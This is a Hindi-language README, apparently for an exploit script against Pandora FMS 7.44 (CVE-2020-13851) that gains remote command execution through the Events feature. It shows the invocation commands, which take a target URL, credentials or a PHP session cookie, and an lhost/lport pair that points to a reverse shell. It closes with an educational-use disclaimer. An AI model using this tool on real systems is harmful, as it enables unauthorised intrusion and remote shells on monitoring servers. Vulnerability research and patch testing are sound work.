पांडोरा एफएमएस 7.44 CVE-2020-13851

पांडोरा एफएमएस 7.44 CVE-2020-13851 RCE एक प्रमाणित उपयोगकर्ता को इवेंट्स सुविधा के माध्यम से दूरस्थ कमांड निष्पादन प्राप्त करने में सक्षम बनाता है। इसे क्रेडेंशियल या PHP सत्र कुकी के साथ किया जा सकता है।

आरंभ करना

प्रोग्राम निष्पादित करना

• क्रेडेंशियल का उपयोग करके

python3 pandorafms_7.44.py -t http://pwnedpandora.com/ -u username -p password -lhost 127.0.0.1 -lport 1337

• PHP सत्र कुकी का उपयोग करके

python3 pandorafms_7.44.py -t http://pwnedpandora.com/ -c PHPSESSID -lhost 127.0.0.1 -lport 1337

सहायता

सहायता मेनू के लिए

python3 pandorafms_7.44.py -h

स्वीकृतियाँ

• कोर सिक्योरिटी

अस्वीकरण

इस रिपॉजिटरी पर प्रदान किया गया सभी कोड केवल शैक्षिक/अनुसंधान उद्देश्यों के लिए है। इस रिपॉजिटरी में निहित सामग्री से संबंधित कोई भी कार्रवाई और/या गतिविधि पूरी तरह से आपकी जिम्मेदारी है। इस रिपॉजिटरी में कोड का दुरुपयोग करने पर संबंधित व्यक्तियों के खिलाफ आपराधिक आरोप लग सकते हैं। इस रिपॉजिटरी में कोड का दुरुपयोग करके कानून तोड़ने वाले किसी भी व्यक्ति के खिलाफ आपराधिक आरोप लगने की स्थिति में लेखक जिम्मेदार नहीं होगा।